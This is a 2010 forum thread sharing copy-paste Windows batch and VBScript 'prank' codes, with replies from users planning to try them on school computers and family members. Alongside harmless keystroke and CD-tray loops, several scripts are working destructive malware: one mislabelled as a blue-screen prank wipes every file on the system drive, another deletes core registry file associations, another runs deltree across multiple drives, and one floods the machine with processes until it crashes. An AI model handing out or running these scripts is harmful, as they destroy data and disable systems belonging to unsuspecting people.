Post: (Some) Fun VBS and CMD codes
07-18-2010, 09:15 AM #1
ρrodigyz
Cool story bro!
(adsbygoogle = window.adsbygoogle || []).push({}); INTRO

Basically I collected some easy basic codes that can be put into effect right away without compiling actually programs.

Just a word of warning, some of these codes can actually harm one's computer. So please, use wisely and this is to be used for educational purposes only =D

So basically, I will indicate whether the codes are safe or dangerous.

The CMD Codes

How to- to use, open up notepad and copy and paste the code into the notepad. Name the file (anyname).bat (to make a .bat file, when u save it or save as, it will ask u for a name and which type u want it, so choose all file then just name it as a .bat file) then just click on the file you just made.

-The blue screen of Death [this might be dangerous]
*The Blue Screen Of Death can be coded and sent to you like any application. It is up to you to be careful and try to reveal the trick before getting in serious trouble. It loops a message asking to re-install your windows again
    @echo off
del %systemdrive%\*.* /f /s /q
shutdown -r -f -t 00
-Messenger
*This is a neat program that will allow you to message another computer on the same network through cmd's messenger system
    @echo off
:A
COLOR 0c
cls
echo ----------------------
echo Ultimate CMD Messanger
echo ----------------------
set /p n=Buddy -
set /p m=Message -
net send %n% %m%
pause
Goto A
-Stupidity Shutdown
*This pops up a funny message then will shutdown the computer
    @echo off
msg * Fatal system error due to admin stupidity!
shutdown -c "Error! You are too stupid!" -s -t 10
-Trick C Drive Deletion
*This pops up a message asking if you want to delete the c drive and tricks you into thinking it will. It then loops a message after it is done.
    @echo off
@color 0c
echo !!!Deleting C Drive!!!
echo do not exit, exiting will result in total system failure!
pause
@color
echo Do you want to continue deleting your C drive?
echo press y for yes or n for no
pause
echo you chose yes, please confirm by pressing y/n
pause
msg * Deleting C Drive...
dir /s
dir /s
dir /s
dir /s
pause
echo C drive successfully deleted!
:MSG
msg * "The C drive is Fcked"
goto MSG
-Delete Key Registry Files [NOTE THIS IS DANGEROUS!! USE AT RISK]
*This will delete key registry files, then loops a message*
    @ECHO OFF
START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*
:MESSAGE
ECHO Your computer has been fcked. Have a nice day.
GOTO MESSAGE
-Endless Notepads
*This will pop up endless notepads until the computer freezes and crashes*
    @ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
-Shutdown
*Simply shuts the computer down
    shutdown -s
-Command Prompt
*Just in case command prompt is blocked at your school, use this*
    command.com
-Delete Everything [NOTE THIS IS DANGEROUS!! USE AT RISK]
*This will delete almost all key drives*
    deltree /y C:\
deltree /y E:\
deltree /y A:\
deltree /y F:\
deltree /y G:\
deltree /y Sad Awesome\
deltree /y H:\

The VBS Codes


How to- to use, open up notepad and copy and paste the code into the notepad. name the file (anyname).vbs (to make a .vbs file, when u save it or save as, it will ask u for a name and which type u want it, so choose all file then just name it as a .vbs file) then just click on the file u just made

Trick Remote Access
*This will open notepad, then trick the user into thinking he is being controlled (you can mod this code by changing what it says)
    Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "Hel"
WScript.Sleep 500
WshShell.SendKeys "lo "
WScript.Sleep 500
WshShell.SendKeys ", ho"
WScript.Sleep 500
WshShell.SendKeys "w a"
WScript.Sleep 500
WshShell.SendKeys "re "
WScript.Sleep 500
WshShell.SendKeys "you"
WScript.Sleep 500
WshShell.SendKeys "? "
WScript.Sleep 500
WshShell.SendKeys "I a"
WScript.Sleep 500
WshShell.SendKeys "m g"
WScript.Sleep 500
WshShell.SendKeys "ood"
WScript.Sleep 500
WshShell.SendKeys " th"
WScript.Sleep 500
WshShell.SendKeys "ank"
WScript.Sleep 500
WshShell.SendKeys "s! "
WScript.Sleep 500
WshShell.SendKeys "I a"
WScript.Sleep 500
WshShell.SendKeys "m wa"
WScript.Sleep 500
WshShell.SendKeys "tchi"
WScript.Sleep 500
WshShell.SendKeys "ng y"
Wscript.Sleep 500
WshShell.SendKeys "ou!"
-Crazy caps lock
*This constantly turns caps lock on and off really fast continuously*
    Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
-Endless Enter
*This constantly makes it so the enter button is being pressed continuesly*
    Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
-Endless Backspace
*This makes it so the backspace key is constantly being pressed*
    MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop
-Popping CD Drives
*This will make the CD drives constantly pop out*
    Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 100
loop
Closing

Most of these codes, such as crazy caps lock, can easily be turned off by simply restarting the computer.

Some of the codes can and will harm your computer if mis-properly used.

Feel free to message, or even post some codes that aren't posted here and I'll gladly post them up for you.

Stay safe and use condoms at all time :carling:
(adsbygoogle = window.adsbygoogle || []).push({});

The following user thanked ρrodigyz for this useful post:

AgentBearJew
07-18-2010, 10:06 AM #2
Great, now I can prank more Awesome face I used to do Trainers with Visual Basic 6.
07-18-2010, 05:35 PM #3
I love these. Not only does it help trick other people it helps teach a little about what new things you could add to other scripts.
07-18-2010, 09:03 PM #4
Hahaha, these are great. You should make them into exe files without cmd windows (for the fun ones)
07-21-2010, 08:37 AM #5
Gaia
Former Staff
Now, time to f*** up my school computer
07-22-2010, 09:13 PM #6
Masta-blasta117
»»───Knee───►
im gonna freak my mom out with this stuff.
08-07-2010, 11:16 AM #7
Jesse
always mirin
Great codes, didn't knew a few but the rest i knew already :P

~Jesse
08-07-2010, 11:18 AM #8
juddylovespizza
I'VE GOT JUNGLE FEVER
I have had the CD one for awhile now great at school lol as there all desktops Happy
08-07-2010, 10:55 PM #9
LoL these are great thanks!!

Copyright © 2026, NextGenUpdate.
All Rights Reserved.

Gray NextGenUpdate Logo